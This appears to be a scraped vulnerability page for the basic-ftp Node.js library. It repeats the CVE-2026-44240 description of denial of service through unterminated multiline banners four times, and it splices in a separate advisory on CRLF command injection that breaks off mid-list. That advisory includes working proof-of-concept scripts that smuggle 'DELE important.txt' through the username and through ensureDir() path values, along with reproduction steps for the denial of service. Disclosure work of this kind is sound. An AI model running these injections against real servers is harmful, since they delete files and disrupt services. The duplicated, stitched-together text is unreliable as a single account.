CVE-2026-44240

basic-ftp is an FTP client for Node.js. Prior to 5.3.1, basic-ftp is vulnerable to client-side denial of service when parsing FTP control-channel multiline responses. A malicious or compromised FTP server can send an unterminated multiline response during the initial FTP banner phase, before authentication. The client keeps appending attacker-controlled data into FtpContext._partialResponse and repeatedly reparses the accumulated buffer without enforcing a maximum control response size. As a result, an application using basic-ftp can remain stuck in connect() while memory and CPU usage grow under attacker-controlled input. This can lead to process-level denial of service, container OOM kills, worker restarts, queue backlog, or service degradation in applications that automatically connect to FTP endpoints. This vulnerability is fixed in 5.3.1.

basic-ftp is an FTP client for Node.js. Prior to 5.3.1, basic-ftp is vulnerable to client-side denial of service when parsing FTP control-channel multiline responses. A malicious or compromised FTP server can send an unterminated multiline response during the initial FTP banner phase, before authentication. The client keeps appending attacker-controlled data into FtpContext._partialResponse and repeatedly reparses the accumulated buffer without enforcing a maximum control response size. As a result, an application using basic-ftp can remain stuck in connect() while memory and CPU usage grow under attacker-controlled input. This can lead to process-level denial of service, container OOM kills, worker restarts, queue backlog, or service degradation in applications that automatically connect to FTP endpoints. This vulnerability is fixed in 5.3.1.

Summary

basic-ftp's CRLF injection protection (added in commit 2ecc8e2 for GHSA-chqc-8p9q-pq6q) is incomplete. Two code paths bypass the protectWhitespace() control character check: (1) the login() method directly concatenates user-supplied credentials into USER/PASS FTP commands without any validation, and (2) the _openDir() method sends an MKD command before cd() invokes protectWhitespace(), creating a TOCTOU bypass. Both vectors allow an attacker who controls input to inject arbitrary FTP commands into the control connection.

Details

Vector 1: Credential Injection (login)

The login() method constructs FTP commands by direct string concatenation with no CRLF validation:

// src/Client.ts:216-231
login(user = "anonymous", password = "guest"): Promise<FTPResponse> {
    this.ftp.log(`Login security: ${describeTLS(this.ftp.socket)}`)
    return this.ftp.handle("USER " + user, (res, task) => {  // Line 218: no validation on `user`
        // ...
        else if (res.code === 331) {
            this.ftp.send("PASS " + password)  // Line 226: no validation on `password`
        }
    })
}

FtpContext.send() writes directly to the TCP socket:

// src/FtpContext.ts:223-227
send(command: string) {
    // ...
    this._socket.write(command + "\r\n", this.encoding)
}

The protectWhitespace() method (line 762) rejects \r, \n, and \0 characters — but it is only called for path-based operations. Credentials never pass through it.

The public access() method (line 268) passes options.user and options.password directly to login() with no sanitization.

Vector 2: MKD TOCTOU Bypass (_openDir)

The _openDir() method sends an MKD command before the CRLF check in cd():

// src/Client.ts:745-748
protected async _openDir(dirName: string) {
    await this.sendIgnoringError("MKD " + dirName)  // Line 746: sent BEFORE validation
    await this.cd(dirName)                           // Line 747: protectWhitespace() called here — too late
}

This is called from ensureDir() (line 729) which splits a user-supplied remote path by / and passes each fragment to _openDir(), and from _uploadToWorkingDir() (line 679) which passes local directory names read from the filesystem.

PoC

Vector 1: Credential Injection

const ftp = require("basic-ftp");

async function exploit() {
    const client = new ftp.Client();
    client.ftp.verbose = true;

    // Connect to target FTP server
    await client.access({
        host: "target-ftp-server",
        port: 21,
        // Username contains CRLF + injected DELE command
        user: "anonymous\r\nDELE important.txt",
        password: "guest"
    });
    // Server receives on the wire:
    //   USER anonymous\r\n
    //   DELE important.txt\r\n
    //   PASS guest\r\n
    // The DELE command executes before PASS is processed

    client.close();
}

exploit();

Vector 2: MKD TOCTOU Bypass

const ftp = require("basic-ftp");

async function exploit() {
    const client = new ftp.Client();
    client.ftp.verbose = true;

    await client.access({
        host: "target-ftp-server",
        user: "anonymous",
        password: "guest"
    });

    // Path fragment with CRLF — MKD is sent before cd() validates
    try {
        await client.ensureDir("test\r\nDELE important.txt/subdir");
    } catch (e) {
        // cd() throws after protectWhitespace() rejects, but MKD + DELE already sent
    }
    // Server received:
    //   MKD test\r\n
    //   DELE important.txt\r\n
    //   CWD test\r\n  <-- this may fail, but damage is done

    client.close();
}

exploit();

Impact

An attacker who controls credentials or remote paths passed to basic-ftp can inject arbitrary FTP commands into the control connection. This enables:

• File deletion: Inject DELE commands to remove files on the FTP server
• File manipulation: Inject RNFR/RNTO to rename…

Summary

basic-ftp is vulnerable to client-side denial of service when parsing FTP control-channel multiline responses.

A malicious or compromised FTP server can send an unterminated multiline response during the initial FTP banner phase, before authentication. The client keeps appending attacker-controlled data into FtpContext._partialResponse and repeatedly reparses the accumulated buffer without enforcing a maximum control response size.

As a result, an application using basic-ftp can remain stuck in connect() while memory and CPU usage grow under attacker-controlled input. This can lead to process-level denial of service, container OOM kills, worker restarts, queue backlog, or service degradation in applications that automatically connect to FTP endpoints.

Details

Root cause

The root cause is that incomplete FTP multiline control responses are buffered without an upper bound.

FtpContext stores incomplete control-channel data in _partialResponse:

https://github.com/patrickjuchli/basic-ftp/blob/50827c73ca6c1d786c97276e47be8a33d0f2277d/src/FtpContext.ts#L63-L64

Incoming control-channel data is handled in _onControlSocketData. The implementation concatenates the previous incomplete response with the new chunk, parses the entire accumulated string, and stores parsed.rest back into _partialResponse:

https://github.com/patrickjuchli/basic-ftp/blob/50827c73ca6c1d786c97276e47be8a33d0f2277d/src/FtpContext.ts#L328-L340

The relevant flow is:

completeResponse = this._partialResponse + chunk parsed = parseControlResponse(completeResponse) this._partialResponse = parsed.rest

There is no maximum size check before concatenating, before parsing, or before storing parsed.rest.

The parser accepts incomplete multiline responses and returns the entire unterminated multiline group as rest:

https://github.com/patrickjuchli/basic-ftp/blob/50827c73ca6c1d786c97276e47be8a33d0f2277d/src/parseControlResponse.ts#L15-L43

If a server starts a multiline FTP response:

220-malicious banner starts

but never sends the terminating line:

220 ready

then parseControlResponse() treats the accumulated multiline data as incomplete and returns it as rest.

Because _onControlSocketData() feeds _partialResponse + chunk back into the parser on every new data event, the client repeatedly reparses a growing attacker-controlled buffer. This creates both memory growth and increasing parsing work.

Why this is security-relevant

The vulnerable component is a client library. The attacker does not need to authenticate to the victim system and does not need valid FTP credentials.

The attack occurs automatically when an application using basic-ftp connects to a malicious or compromised FTP server. The malicious response is sent as the FTP server banner before login. No additional user interaction is required after the application initiates a normal FTP connection.

This is realistic for applications that use FTP for:

• scheduled imports or exports
• customer-provided FTP endpoints
• backup or synchronization jobs
• CI/CD artifact mirroring
• document ingestion pipelines
• legacy business integrations

In those environments, one malicious or compromised FTP endpoint can cause the Node.js process using basic-ftp to consume excessive memory and CPU or remain stuck in a pending connection state.

Proof of Concept

The PoC uses a local malicious FTP server that accepts a victim connection and sends an unterminated multiline FTP banner. The banner starts with 220-, but the server never sends the required terminating 220 line.

Reproduction steps

From the root of the basic-ftp project:

npm ci
npm run buildOnly

poc_control_parser_direct.js

CHUNKS=1000 node poc_control_parser_direct.js | tee poc-results/parser_direct_1000.log

…

basic-ftp is an FTP client for Node.js. Prior to 5.3.1, basic-ftp is vulnerable to client-side denial of service when parsing FTP control-channel multiline responses. A malicious or compromised FTP server can send an unterminated multiline response during the initial FTP banner phase, before authentication. The client keeps appending attacker-controlled data into FtpContext._partialResponse and repeatedly reparses the accumulated buffer without enforcing a maximum control response size. As a result, an application using basic-ftp can remain stuck in connect() while memory and CPU usage grow under attacker-controlled input. This can lead to process-level denial of service, container OOM kills, worker restarts, queue backlog, or service degradation in applications that automatically connect to FTP endpoints. This vulnerability is fixed in 5.3.1.

basic-ftp is an FTP client for Node.js. Prior to 5.3.1, basic-ftp is vulnerable to client-side denial of service when parsing FTP control-channel multiline responses. A malicious or compromised FTP server can send an unterminated multiline response during the initial FTP banner phase, before authentication. The client keeps appending attacker-controlled data into FtpContext._partialResponse and repeatedly reparses the accumulated buffer without enforcing a maximum control response size. As a result, an application using basic-ftp can remain stuck in connect() while memory and CPU usage grow under attacker-controlled input. This can lead to process-level denial of service, container OOM kills, worker restarts, queue backlog, or service degradation in applications that automatically connect to FTP endpoints. This vulnerability is fixed in 5.3.1.